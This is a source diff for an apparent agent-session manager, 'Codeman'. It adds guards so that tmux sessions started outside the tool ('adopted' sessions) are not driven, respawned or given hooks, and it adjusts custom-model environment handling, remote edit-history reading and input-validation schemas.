await ctx.setupSessionListeners(session);
getLifecycleLog().log({ event: 'created', sessionId: session.id, name: session.name });
invalidateForeignCache();
const lightState = ctx.getSessionStateWithRespawn(session);
ctx.broadcast(SseEvent.SessionCreated, lightState);
return { session: lightState, adopted: true };
}
// ========== Rename Session ==========
app.put('/api/sessions/:id/name', async (req) => {
@@ -1550,6 +1751,13 @@ export function registerSessionRoutes(
'Custom model endpoints are not supported for remote (SSH) or Docker sessions yet'
);
}
// Its own check: this restarts the CLI in the pane, and an adopted pane's CLI is not ours to restart.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Custom model endpoints are not available for adopted sessions: Codeman did not start this agent'
);
}
if (session.isBusy()) {
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
}
@@ -1675,7 +1883,7 @@ export function registerSessionRoutes(
session.id,
contextLength,
session.workingDir,
await guardSessionConfigDirHome(entry, (envVar) => session.envOverrideValue(envVar))
await guardSessionConfigDirHome(entry, (envVar) => session.ownEnvValue(envVar))
);
if (!applied) {
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, `${session.mode} has no known custom-model mechanism`);
@@ -1689,6 +1897,7 @@ export function registerSessionRoutes(
envKeys: applied.envKeys,
configDir: applied.configDir,
launchModel: applied.launchModel,
homeEnvVar: applied.homeEnvVar,
},
applied.envOverrides
);
@@ -1861,6 +2070,15 @@ export function registerSessionRoutes(
const { prompt } = parseBody(RunPromptSchema, req.body);
const session = findSessionOrFail(ctx, id, req);
// Its own check: `runPrompt` starts a new local claude, and the answer has to say so
// here rather than as a `session:error` after a success.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'One-shot prompts are not available for adopted sessions: Codeman did not start this agent'
);
}
if (session.isBusy()) {
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
}
@@ -1908,6 +2126,10 @@ export function registerSessionRoutes(
// and belongs in its own PR, not in a refactor that is meant to change nothing.
if (
!isExternalCliMode(session.mode) &&
// ⚠️ And never for an adopted session, whose mode can be claude while the
// agent in that pane belongs to someone else. Kept as its own clause for
// the same reason the respawn and Ralph routes keep theirs separate.
!session.isAdopted &&
ctx.store.getConfig().ralphEnabled &&
!session.ralphTracker.autoEnableDisabled
) {
@@ -2846,7 +3068,13 @@ export function registerSessionRoutes(
* effort: the tab rename has already happened and must not fail on this.
*/
async function syncClaudeTitle(session: Session): Promise<void> {
if (getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl' || session.remote || session.docker) return;
if (
getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl' ||
session.remote ||
session.docker ||
session.isAdopted
)
return;
try {
const projectsDir = join(process.env.HOME || '/tmp', '.claude', 'projects');
const hookPath = ctx.getTranscriptPath(session.id);
@@ -2924,6 +3152,17 @@ export function registerSessionRoutes(
// The body of GET /api/sessions/:id/last-response, so the Discord bridge reads the same transcript
// the response viewer does (per-CLI reader, pane fallback) without a second copy of this logic.
const lastResponseFor = async (session: Session, context?: string) => {
// ⚠️ An adopted session has no transcript Codeman can name. Every reader below pairs one by
// the id Codeman launched the CLI with or by the session's folder, and neither means anything
// here: the CLI chose its own id, and the folder is the neutral `/tmp`, so the newest file for
// that folder would be another conversation's answer shown as this one's. Nothing said yet is
// the honest answer.
if (session.isAdopted) {
return context === 'full' || context === 'turn'
? { text: '', timestamp: '', messages: [] }
: { text: '', timestamp: '' };
}
// Codex sessions don't write to ~/.claude/projects — their transcripts
// live in ~/.codex/sessions/**. Branch to a Codex-specific reader so the
// response-viewer works for Codex panes too.
@@ -3654,6 +3893,16 @@ export function registerSessionRoutes(
const { id } = req.params as { id: string };
const body = parseBody(AutoClearSchema, req.body, 'Invalid request body');
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
// can perfectly well BE claude, and this drives the pane of a session someone
// else is using. Merging the two checks means a future change to the
// external-CLI rule silently reopens this one.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Auto-clear is not available for adopted sessions: Codeman did not start this agent and must not drive it'
);
}
session.setAutoClear(body.enabled, body.threshold);
persistAndBroadcastSession(ctx, session);
@@ -3675,6 +3924,16 @@ export function registerSessionRoutes(
const { id } = req.params as { id: string };
const body = parseBody(AutoCompactSchema, req.body, 'Invalid request body');
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
// can perfectly well BE claude, and this drives the pane of a session someone
// else is using. Merging the two checks means a future change to the
// external-CLI rule silently reopens this one.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Auto-compact is not available for adopted sessions: Codeman did not start this agent and must not drive it'
);
}
session.setAutoCompact(body.enabled, body.threshold, body.prompt);
persistAndBroadcastSession(ctx, session);
@@ -3737,8 +3996,11 @@ export function registerSessionRoutes(
const { id } = req.params as { id: string };
const body = parseBody(GitFetchSettingsSchema, req.body, 'Invalid request body');
const session = findSessionOrFail(ctx, id, req);
if (session.remote || session.docker) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Git fetch does not run for remote or Docker sessions');
if (session.remote || session.docker || session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Git fetch does not run for remote, Docker or adopted sessions'
);
}
const enabled = 'enabled' in body ? (body.enabled ?? undefined) : session.gitFetchEnabled;
@@ -3764,6 +4026,16 @@ export function registerSessionRoutes(
const { id } = req.params as { id: string };
const body = parseBody(AutoResumeSchema, req.body, 'Invalid request body');
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
// can perfectly well BE claude, and this drives the pane of a session someone
// else is using. Merging the two checks means a future change to the
// external-CLI rule silently reopens this one.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Auto-resume is not available for adopted sessions: Codeman did not start this agent and must not drive it'
);
}
session.setAutoResume(body.enabled);
persistAndBroadcastSession(ctx, session);
@@ -3834,6 +4106,10 @@ export function registerSessionRoutes(
if (body.enabled && session.remote) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Image watching does not run for remote sessions');
}
// An adopted session's folder is the neutral wrapper folder, not the foreign pane's work.
if (body.enabled && session.isAdopted) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Image watching does not run for adopted sessions');
}
if (body.enabled) {
imageWatcher.watchSession(session.id, session.workingDir);
@@ -4467,14 +4743,13 @@ export function registerSessionRoutes(
// unknown endpoint, a model id the CLI's argv pattern can't carry) rather than trusting
// a lighter version of them, since this is the same server-side authority reached a
// different way, not a separate, less-checked path.
let qsCustomModelEnvOverrides = qsGatedEnvOverrides;
// Only the INJECTED keys (never the caller's envOverrides merged in) — this is what
// setCustomModel() bookkeeping must be given below. The Session constructor already
// applies qsCustomModelEnvOverrides (the full merged set) directly; re-merging that
// full set into setCustomModel() would put CLAUDE_CODE_EFFORT_LEVEL back after the
// constructor stripped it (see setCustomModel()'s own doc comment in session.ts).
//
// Only the INJECTED keys (never the caller's envOverrides merged in): setCustomModel()
// merges these over what the Session constructor took, which is how it learns which of
// the caller's values the selection replaced. Handing the constructor the merged set
// would hide them, and giving setCustomModel() that set would put
// CLAUDE_CODE_EFFORT_LEVEL back after the constructor stripped it.
let qsCustomModelAppliedEnvOverrides: Record<string, string> | undefined;
let qsCustomModelLaunchModel: string | undefined;
let qsCustomModelSessionId: string | undefined;
let qsCustomModelSwapInProgress = false;
let qsCustomModelBookkeeping:
@@ -4485,6 +4760,7 @@ export function registerSessionRoutes(
envKeys: string[];
configDir?: string;
launchModel?: string;
homeEnvVar?: string;
}
| undefined;
if (customModel) {
@@ -4588,9 +4864,7 @@ export function registerSessionRoutes(
if (!cmApplied) {
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, `${mode} has no known custom-model mechanism`);
}
qsCustomModelEnvOverrides = { ...qsGatedEnvOverrides, ...cmApplied.envOverrides };
qsCustomModelAppliedEnvOverrides = cmApplied.envOverrides;
qsCustomModelLaunchModel = cmApplied.launchModel;
qsCustomModelBookkeeping = {
endpointId: cmEndpoint.id,
modelId: customModel.modelId,
@@ -4598,6 +4872,7 @@ export function registerSessionRoutes(
envKeys: cmApplied.envKeys,
configDir: cmApplied.configDir,
launchModel: cmApplied.launchModel,
homeEnvVar: cmApplied.homeEnvVar,
};
// Actually kick off llama-swap's load now — see the dedicated apply route's own
@@ -4630,7 +4905,7 @@ export function registerSessionRoutes(
copilotConfig: mode === 'copilot' ? qsGatedCopilotConfig : undefined,
deepSeekConfig: mode === 'deepseek' ? qsGatedDeepSeekConfig : undefined,
ompConfig: qsResolvedOmpConfig,
envOverrides: qsCustomModelEnvOverrides,
envOverrides: qsGatedEnvOverrides,
effort,
advisorModel,
remote,
@@ -4639,30 +4914,15 @@ export function registerSessionRoutes(
tmuxHistoryLimit: qsTerminalHistoryConfig.tmuxHistoryLimit,
parentSessionId: qsParentSessionId,
};
// Force the custom-model selection's launchModel (pi/omp `custom/<id>`, grok's
// `[model.<name>]` block name) onto whichever config field the registry says the
// CLI's `model` launch param lives in — mirrors Session._withCustomModelLaunchModel,
// which the restart-in-place path already uses, rather than a hardcoded per-CLI
// branch here that a CLI landing its injection recipe later would silently miss.
if (qsCustomModelLaunchModel !== undefined) {
const qsCustomModelField = getCli(mode)?.launch.legacyConfigField;
if (qsCustomModelField) {
const qsSessionOptionsBag = qsSessionOptions as unknown as Record<string, unknown>;
qsSessionOptionsBag[qsCustomModelField] = {
...((qsSessionOptionsBag[qsCustomModelField] as Record<string, unknown>) ?? {}),
model: qsCustomModelLaunchModel,
};
} else {
qsSessionOptions.model = qsCustomModelLaunchModel;
}
}
const session = new Session(qsSessionOptions);
// Records the selection for session.customModel/getCustomModelForPersist() and future
// clear/switch calls — the actual env vars and launch-model config are already part of
// the launch above (constructor envOverrides, piConfig/grokConfig/ompConfig.model), so
// this is bookkeeping only, never a restart: setCustomModel() is synchronous state, no
// tmux IO of its own (see its own doc comment in session.ts).
// clear/switch calls, and merges the injected env. The launch below reads both: the
// selection's launchModel is forced onto the launch options, never onto the stored
// config above, because that config is what a later clear falls back to
// (Session._withCustomModelLaunchModel). Nothing has started yet, so this is never a
// restart: setCustomModel() is synchronous state, no tmux IO of its own (see its own
// doc comment in session.ts).
if (qsCustomModelBookkeeping) {
session.setCustomModel(qsCustomModelBookkeeping, qsCustomModelAppliedEnvOverrides);
}
@@ -5799,6 +6059,13 @@ export function registerSessionRoutes(
'Prompt uploads are not supported for remote (SSH) sessions'
);
}
// An adopted session has no workspace of ours: its folder is the neutral `/tmp`, shared with
// whatever else runs there, and an agent in a container or on an ssh host could not read it.
// The foreign pane's own folder is not ours to write into either.
if (session.isAdopted) {
reply.code(400);
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Prompt uploads are not supported for adopted sessions');
}
// The upload is written under session.workingDir (ensureUploadDir below), and
// a live session's workspace can sit on a network mount that stopped answering.
+3 -2
View File
@@ -1185,9 +1185,10 @@ export function registerSystemRoutes(
// Handle image watcher toggle dynamically
toggleService((merged.imageWatcherEnabled as boolean) ?? false, imageWatcher, 'Image watcher', () => {
// Re-watch all active sessions that have image watcher enabled (never a remote session: its
// workingDir is a path on the remote host, not on this disk)
// workingDir is a path on the remote host, not on this disk; nor an adopted one, whose folder
// is the neutral wrapper folder and not the foreign pane's work)
for (const session of ctx.sessions.values()) {
if (session.imageWatcherEnabled && !session.remote) {
if (session.imageWatcherEnabled && !session.remote && !session.isAdopted) {
imageWatcher.watchSession(session.id, session.workingDir);
}
}
+34 -9
View File
@@ -371,6 +371,7 @@ const CodexConfigSchema = z
.regex(/^[a-zA-Z0-9_-]+$/)
.optional(),
dangerouslyBypassApprovals: z.boolean().optional(),
networkAccess: z.boolean().optional(),
animations: z.boolean().optional(),
renderMode: z
.enum(['scrollback', 'hybrid'])
@@ -867,6 +868,8 @@ const RemoteCommandOverridesSchema = z
pi: z.string().min(1).max(300).optional(),
grok: z.string().min(1).max(300).optional(),
deepseek: z.string().min(1).max(300).optional(),
omp: z.string().min(1).max(300).optional(),
copilot: z.string().min(1).max(300).optional(),
})
.strict()
.optional();
@@ -878,11 +881,11 @@ const RemoteCommandOverridesSchema = z
const NO_SHELL_INJECTION = /^[^\n\r\0`]*$/;
const noCommandSubstitution = (s: string) => !s.includes('$(');
// `remotePath`/`identityFile` are shell-escaped, then the whole launch command is
// embedded via `JSON.stringify(...)` inside `bash -c "..."` (tmux-manager). That
// outer DOUBLE-quote layer re-exposes `$(...)`, backticks, and `$VAR` even though
// the inner value is single-quoted — so a `$(cmd)` in the path would run LOCALLY at
// launch. Reject `$` and backtick (and newline/CR/NUL) entirely at the boundary.
// `remotePath`/`identityFile` are shell-escaped, and a remote launch reaches `bash -c`
// single-quoted (`bashCArg()` in tmux-manager). They are also pasted into strings the
// far end's shells parse, and hosts stored before a launch-quoting change are read with
// no schema, so `$` and backtick (and newline/CR/NUL) stay rejected at the boundary as
// defense in depth, whatever the current quoting does with them.
const NO_SHELL_META = /^[^\n\r\0`$]*$/;
export const RemoteHostSchema = z.object({
@@ -982,10 +985,10 @@ export const RemoteCaseLinkSchema = z.object({
//
// Docker mode is a location overlay on cases (see docs/docker-cases-plan.md),
// the analog of the remote-SSH schemas above. `image`, `hostWorkspacePath`,
// `containerWorkdir`, and `container` all reach the outer `bash -c "..."` launch
// layer, so they carry NO_SHELL_META (rejects `$`/backtick that survive the
// double-quote layer) exactly like remotePath/identityFile. `--privileged` and
// any docker-socket mount are structurally unrepresentable (never accepted).
// `containerWorkdir`, and `container` all reach the `bash -c` launch layer, so they
// carry NO_SHELL_META (rejects `$`/backtick) exactly like remotePath/identityFile.
// `--privileged` and any docker-socket mount are structurally unrepresentable
// (never accepted).
const DockerResourceLimitsSchema = z
.object({
@@ -1721,6 +1724,7 @@ export const SettingsUpdateSchema = z
.optional(),
codexReasoningEffort: z.enum(['', ...CODEX_REASONING_EFFORTS]).optional(),
codexDangerouslyBypassApprovals: z.boolean().optional(),
codexNetworkAccess: z.boolean().optional(),
codexAnimationsEnabled: z.boolean().optional(),
// Terminal history and retention
terminalScrollbackLines: z
@@ -2519,6 +2523,27 @@ export const CustomModelSelectionSchema = z.union([
}),
z.object({ clear: z.literal(true) }),
]);
/**
* Adopt a FOREIGN tmux session (one a human started outside Codeman).
*
* ⚠️ The body carries ONLY the opaque candidate id from `GET /api/mux/foreign`.
* The socket path, session name and host are re-resolved server-side by re-running
* discovery, so a browser can never hand the launch chain a path or a session name
* to interpolate. That is the same discipline that keeps the docker-adopt and
* remote-attach paths free of caller-supplied command fragments.
*/
export const AdoptForeignSessionSchema = z
.object({
id: z.string().min(1).max(64),
/** Optional tab name; defaults to the foreign session's own name. */
name: z.string().max(128).optional(),
/** Include docker locations in the re-resolve (must match the listing call). */
docker: z.boolean().optional(),
/** Include remote locations in the re-resolve. */
remote: z.boolean().optional(),
parentSessionId: z.string().max(64).optional(),
})
.strict();
/** Agent inspection bounds are bytes of evidence, independent of the JSON envelope. */
export const AgentInspectQuerySchema = z
+93 -29
View File
@@ -35,6 +35,7 @@ import fastifyWebsocket from '@fastify/websocket';
import fastifyMultipart from '@fastify/multipart';
import { pasteImageDirInUseByOtherSession, startPasteImageGc, uploadDirs } from './paste-image-gc.js';
import { CLEAN_EXIT_CLOSE_REASON, shouldCloseCleanlyExitedSession } from '../pane-exit-sweep.js';
import { findLiveWorktree } from '../live-worktree.js';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
import { existsSync, mkdirSync, readFileSync, chmodSync, statSync } from 'node:fs';
@@ -104,6 +105,7 @@ import { RunSummaryTracker } from '../run-summary.js';
import { PlanOrchestrator } from '../plan-orchestrator.js';
import { OrchestratorLoop } from '../orchestrator-loop.js';
import { getLifecycleLog } from '../session-lifecycle-log.js';
import { clampEnvOverridesForOwner } from '../session-env-clamp.js';
import {
applyWorkspaceHooks,
pruneAgentSessionPreambles,
@@ -135,11 +137,14 @@ import { fetchWorkspaceOnce } from '../git-fetch.js';
import { GitFetchScheduler } from '../git-fetch-scheduler.js';
import { probePathKind } from '../utils/bounded-path-probe.js';
import { defaultDockerWorkspaces } from './routes/git-status-routes.js';
import { guardSessionConfigDirHome } from './routes/session-routes.js';
import { composerIsEmpty, plainFrame } from '../session-submit-verifier.js';
import { detectUsageLimitPause } from '../usage-limit-patterns.js';
import { EditHistorySync } from './edit-history-sync.js';
import { EditHistorySync, remoteTranscriptIds } from './edit-history-sync.js';
import { EditHistoryStore } from '../edit-history-store.js';
import { probeLocalPaths, readClaudeEditSources, resolveClaudeTranscript } from '../edit-history-local-source.js';
import { remoteLocateClaudeTranscript, remoteProbePaths, remoteReadClaudeEditSources } from '../remote-files.js';
import { remoteTmuxLocation } from '../tmux-manager.js';
import { stopDeepSeekWeb } from '../deepseek-web-server.js';
import {
wireRespawnListeners,
@@ -356,19 +361,31 @@ export class WebServer extends EventEmitter {
private app: FastifyInstance;
private sessions: Map<string, Session> = new Map();
/**
* The edit history panel's reader (edit-history-sync.ts). Reads only when the panel asks;
* the main transcript is the one the transcript watcher follows (hook-reported path), or,
* before the first hook after a restart, a lookup under the session's claude config dir.
* The edit history panel's reader (edit-history-sync.ts). Reads only when the panel asks.
* A local session's main transcript is the one the transcript watcher follows (hook-reported
* path), or, before the first hook after a restart, a lookup under the session's claude
* config dir. A remote session sends no hooks: its host is asked over ssh for the transcript
* the pane's claude writes, else the stored conversation's (`remoteTranscriptIds`), and is
* never woken for it (remote-files.ts).
*/
private readonly editHistorySync = new EditHistorySync({
transcriptPath: (session) =>
resolveClaudeTranscript(
this.transcriptWatchers.get(session.id)?.getPath(),
[session.claudeSessionId || session.id, session.id],
session.claudeConfigDir
),
readSources: readClaudeEditSources,
probe: probeLocalPaths,
transcriptPath: (session, storedTranscriptId) =>
session.remote
? remoteLocateClaudeTranscript(
session.remote,
remoteTranscriptIds(session, storedTranscriptId),
remoteTmuxLocation(session.remote, session.id)
)
: resolveClaudeTranscript(
this.transcriptWatchers.get(session.id)?.getPath(),
[session.claudeSessionId || session.id, session.id],
session.claudeConfigDir
),
readSources: (session, mainPath, requests, budget, opts) =>
session.remote
? remoteReadClaudeEditSources(session.remote, mainPath, requests, budget, opts)
: readClaudeEditSources(mainPath, requests, budget, opts),
probe: (session, paths) => (session.remote ? remoteProbePaths(session.remote, paths) : probeLocalPaths(paths)),
loadStore: (sessionId) => EditHistoryStore.load(sessionId),
deleteStore: (sessionId) => EditHistoryStore.delete(sessionId),
sweepStores: (keep) => EditHistoryStore.sweep(keep),
@@ -552,9 +569,10 @@ export class WebServer extends EventEmitter {
agentExited: (id) => !!this.sessions.get(id)?.paneExit,
awaitingChoice: (id) => approvalInbox.listPending().some((item) => item.sessionId === id && item.kind !== 'idle'),
// Remote (ssh) sessions keep their folder on another host, so received files have nowhere local to go.
// An adopted session's folder is the neutral wrapper folder, which its agent need not be able to read.
sessionDir: (sessionId) => {
const session = this.sessions.get(sessionId);
return session && !session.remote ? session.workingDir : undefined;
return session && !session.remote && !session.isAdopted ? session.workingDir : undefined;
},
});
private teamWatcher: TeamWatcher = new TeamWatcher();
@@ -1519,7 +1537,8 @@ export class WebServer extends EventEmitter {
*/
private async _rebuildCustomModelEnv(
session: Session,
saved: CustomModelBookkeeping
saved: CustomModelBookkeeping,
ownEnv: Record<string, string> = {}
): Promise<AppliedCustomModel | undefined> {
const entry = getCli(session.mode);
if (!entry) return undefined;
@@ -1531,19 +1550,21 @@ export class WebServer extends EventEmitter {
return undefined;
}
try {
// Boot recovery omits both `workingDir` (no reason to re-answer a trust dialog that
// already fired once) and the session-env real-home lookup: the injected VALUES are
// never persisted, so after a real restart the session can no longer carry its
// allowlisted `DSH_HOME` either (`getEnvOverridesForPersist()` keeps only
// `CLAUDE_CODE_*`/`CLAUDE_CONFIG_DIR`): the lookup could only ever hit on the first
// apply in-process. Real-home resolution therefore falls back to the SERVER's
// `DSH_HOME` or the recipe's `realHomeFallback` (~/.dsh).
// Boot recovery omits `workingDir` (no reason to re-answer a trust dialog that already
// fired once). The real-home lookup reads the record's own values, since the session's
// overrides hold what the previous run injected. `linkRealHomeEntry()` keeps what is
// there, so this only decides an entry that is missing, which an own home skips when it
// does not hold one. With no own home, or one that does not answer (probed under the
// bulk cap, this walks every saved session), a missing entry links from the SERVER's
// `DSH_HOME` or `CLAUDE_CONFIG_DIR`, or their defaults (~/.dsh, ~/.claude).
return applyCustomModelInjection(
entry,
endpoint,
saved.modelId,
session.id,
resolveCustomModelContextLength(endpoint, saved.modelId)
resolveCustomModelContextLength(endpoint, saved.modelId),
undefined,
await guardSessionConfigDirHome(entry, (envVar) => ownEnv[envVar], {})
);
} catch (err) {
console.warn('[WebServer] Failed to rebuild custom-model env on recovery:', err);
@@ -1559,18 +1580,25 @@ export class WebServer extends EventEmitter {
* while the new recipe writes one, and clearing it later could then never delete the
* generated dir. `envKeys` is the UNION of saved and applied keys: the tmux session may
* still carry `setenv`s from both, and a clear has to unset every one.
*
* `ownEnv` is always passed, empty for a record saved before it existed: `_envOverrides`
* holds what the previous run injected, and only this record says what was the session's
* own. It meets the owner's grant again, like every other env override rebuilt from disk.
*/
private async _restoreCustomModel(session: Session, saved: CustomModelBookkeeping): Promise<void> {
const applied = await this._rebuildCustomModelEnv(session, saved);
const ownEnv = (await clampEnvOverridesForOwner(session.owner, saved.ownEnv)) ?? {};
const applied = await this._rebuildCustomModelEnv(session, saved, ownEnv);
if (!applied) {
// Endpoint gone or CLI unregistered: restore the bookkeeping exactly as saved, which
// is what a later clear needs.
session.setCustomModel(saved);
session.setCustomModel({ ...saved, ownEnv });
return;
}
session.setCustomModel(
{
...saved,
ownEnv,
homeEnvVar: applied.homeEnvVar ?? saved.homeEnvVar,
// Prefer the current recipe's dir; keep the saved one when the recipe writes none,
// so a clear can still delete a directory an older recipe created.
configDir: applied.configDir ?? saved.configDir,
@@ -1590,8 +1618,9 @@ export class WebServer extends EventEmitter {
// __attachmentHistory keeps the private (externalPath-bearing) history on disk,
// separate from the sanitized public attachmentHistory in toState().
const attachmentHistory = session.getAttachmentHistoryForPersist();
// __customModel keeps the selection's bookkeeping (injected env KEYS, config dir,
// launch model; never the values) so recovery can restore and later clear it.
// __customModel keeps the selection's bookkeeping (injected env KEYS, config dir, launch
// model, the session's own home path; never an injected value or any other own value)
// so recovery can restore and later clear it.
const customModel = session.getCustomModelForPersist();
const state = {
...base,
@@ -2179,7 +2208,9 @@ export class WebServer extends EventEmitter {
// fs.watch()es it on the LOCAL disk, so a remote session only records the path: the fix plan stays
// authoritative as for a local session (keeping the output-based completion guessers off), and its
// file is read over ssh only on an explicit import (fix-plan/read).
if (!isExternalCliMode(session.mode)) {
// ⚠️ An ADOPTED session is skipped outright: Ralph is refused for one anyway, and its
// `workingDir` is the neutral wrapper folder, not the foreign pane's work.
if (!isExternalCliMode(session.mode) && !session.isAdopted) {
if (session.remote) {
session.ralphTracker.setRemoteWorkingDir(session.workingDir);
} else {
@@ -2189,8 +2220,10 @@ export class WebServer extends EventEmitter {
// Start watching for new images in this session's working directory (if enabled globally and per-session).
// A remote session's workingDir is a path on the remote host, and the watcher watches it on the LOCAL
// disk, so it is skipped there (the per-session and app-wide toggles skip it too).
if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled && !session.remote) {
// disk, so it is skipped there (the per-session and app-wide toggles skip it too). An ADOPTED session
// is skipped for the same reason as the Ralph watcher above: nothing in its wrapper folder is the
// foreign pane's work.
if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled && !session.remote && !session.isAdopted) {
imageWatcher.watchSession(session.id, session.workingDir);
}
@@ -2277,6 +2310,9 @@ export class WebServer extends EventEmitter {
): Promise<void> {
const session = this.sessions.get(sessionId);
if (!session) return;
// ⚠️ A link scanned from an adopted pane was printed by a process on another host or in a
// container, while confinement here would be to this host's `/tmp`, the wrapper's folder.
if (session.isAdopted) return;
const event =
source === 'codex-generated'
? await registerGeneratedArtifactAttachment({
@@ -2967,6 +3003,7 @@ export class WebServer extends EventEmitter {
// `undefined` here means an authoritative read listed no single directory
// for the session (split into several panes, or gone from the socket).
const paneCwdChanged = getPaneCurrentPath ? session.setPaneCwd(getPaneCurrentPath(muxName)) : false;
if (paneCwdChanged) void this.refreshLiveWorktree(session);
if (session.setPaneExit(getPaneExit(muxName))) {
this.persistSessionState(session);
} else if (!paneCwdChanged) {
@@ -2977,6 +3014,18 @@ export class WebServer extends EventEmitter {
this.closeCleanlyExitedSessions();
}
/**
* Work out which linked worktree a session's pane moved into (#765). In the background, since
* it reads the folder, and only after the directory changed, so an idle pane costs nothing.
* A reading newer than the one this lookup started from owns the answer.
*/
private async refreshLiveWorktree(session: Session): Promise<void> {
const cwd = session.paneCwd;
const worktree = await findLiveWorktree(session.workingDir, cwd);
if (session.paneCwd !== cwd) return;
if (session.setLiveWorktree(worktree)) this.broadcastSessionStateDebounced(session.id);
}
/**
* Close every session whose agent exited cleanly, through the same
* `cleanupSession()` the X button uses (Ark0N/Codeman#446). A pinned session
@@ -4111,6 +4160,14 @@ export class WebServer extends EventEmitter {
// MuxSession.docker; state.json carries SessionState.docker), so recovery
// rebuilds the `docker exec` launch instead of a broken local command.
docker: muxSession.docker ?? savedState?.docker,
// Adoption metadata round-trips for the same reason remote/docker do,
// and one more: it is the ONLY thing that marks this session as
// wrapping a process Codeman never launched. Dropping it on recovery
// silently re-enabled respawn, Ralph and hook-backed waits against
// someone else's live tmux session after every server restart:
// measured, not hypothetical. The mux record is preferred because it
// is what `killSession`'s detach-not-kill guard already reads.
adopt: muxSession.adopt ?? savedState?.adopt,
owner: recoveredOwner,
// Tab lineage survives a restart. It is only decoration, so a parent
// that did NOT come back is harmless: the frontend draws an edge only
@@ -4394,6 +4451,13 @@ export class WebServer extends EventEmitter {
const workspaces = new Set<string>();
for (const session of this.sessions.values()) {
if (session.mode !== 'claude' || session.remote) continue;
// ⚠️ An ADOPTED session is not caught by the `remote` check above: its
// connection facts live on `adopt.remote` / `adopt.docker`, so a session
// wrapping someone's in-container or over-ssh claude looks local here.
// Its workspace was never Codeman's to begin with, so installing hooks
// there writes `.claude/settings.local.json` into the human's own repo,
// on EVERY restart, since this sweep runs from boot recovery.
if (session.isAdopted) continue;
if (session.docker && !session.docker.hooksEnabled) continue;
if (session.workingDir) workspaces.add(session.workingDir);
}
+21 -2
View File
@@ -200,6 +200,18 @@ export interface HookCapabilityOptions {
* timeout on every turn.
*/
deepSeekBridgeUnreachable?: boolean;
/**
* True when the session is a WRAPPER around a tmux session a human started
* outside Codeman.
*
* This one overrides the mode entirely, and it has to: an adopted session can
* be `mode: 'claude'` and still have no hooks, because hooks are installed into
* a WORKSPACE at session-create time (`applyWorkspaceHooks`) and we never
* created this one. Answering from the mode there would promise `stop` and
* `blocked` for a process that can never post either, the exact
* infinite-wait-dressed-as-a-timeout this predicate exists to prevent.
*/
adopted?: boolean;
}
/**
@@ -234,6 +246,9 @@ export interface HookCapabilityOptions {
* function only about hook SIGNALS.
*/
export function hooksAvailableForMode(mode: SessionMode, options: HookCapabilityOptions = {}): boolean {
// Checked BEFORE the mode: adoption is about who launched the process, and no
// mode can vouch for a workspace Codeman never touched. See `adopted` above.
if (options.adopted) return false;
// A TRI-state capability, not a boolean, because the three answers are genuinely
// different questions — see CliCapabilities.hooks.
switch (getCli(mode)?.capabilities.hooks) {
@@ -269,10 +284,12 @@ export function sessionHookOptions(session: {
deepSeekStatusReporting?: boolean;
docker?: unknown;
remote?: unknown;
adopt?: unknown;
}): HookCapabilityOptions {
return {
deepSeekStatusReporting: session.deepSeekStatusReporting,
deepSeekBridgeUnreachable: Boolean(session.docker || session.remote),
adopted: Boolean(session.adopt),
};
}
@@ -342,8 +359,10 @@ export function resolveWaitSignals(
// A dsh session is the one case where the mode is capable and THIS session
// is not, so saying "never fire for deepseek sessions" would send the
// caller looking for a bug that is really a setting they chose.
error:
options.mode === 'deepseek'
error: options.adopted
? `Signal(s) ${rejected.join(', ')} never fire for an adopted session: Codeman did not start it, so it ` +
`installed no hooks there. Use ${unsupported.has('blocked') ? 'idle or exit' : 'idle, blocked or exit'}.`
: options.mode === 'deepseek'
? options.deepSeekBridgeUnreachable
? `Signal(s) ${rejected.join(', ')} never fire for this deepseek session: it runs in a container or on ` +
`a remote host, where the local status bridge cannot reach the harness. Use idle or exit.`